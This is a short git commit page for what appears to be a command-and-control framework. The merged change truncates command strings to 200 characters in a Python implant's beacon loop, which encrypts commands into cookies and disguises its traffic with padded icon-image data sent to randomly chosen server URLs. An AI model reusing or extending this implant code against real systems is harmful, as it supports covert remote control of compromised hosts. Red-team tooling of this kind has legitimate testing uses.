Merge pull request #30 from PwnDexter/linuxprivchecker

Merged - Fixes cookie length on python implant
chunking
Ben Turner 2019-01-20 19:32:02 +00:00 committed by GitHub
commit 5a904b2008
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 0 deletions

View File

@ -242,6 +242,8 @@ while(True):
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
opener = urllib2.build_opener()
if (len(cmd) > 200):
cmd = cmd[0:200]
postcookie = encrypt(key, cmd)
data = base64.b64decode(random.choice(icoimage))
dataimage = data.ljust( 1500, '\\0' )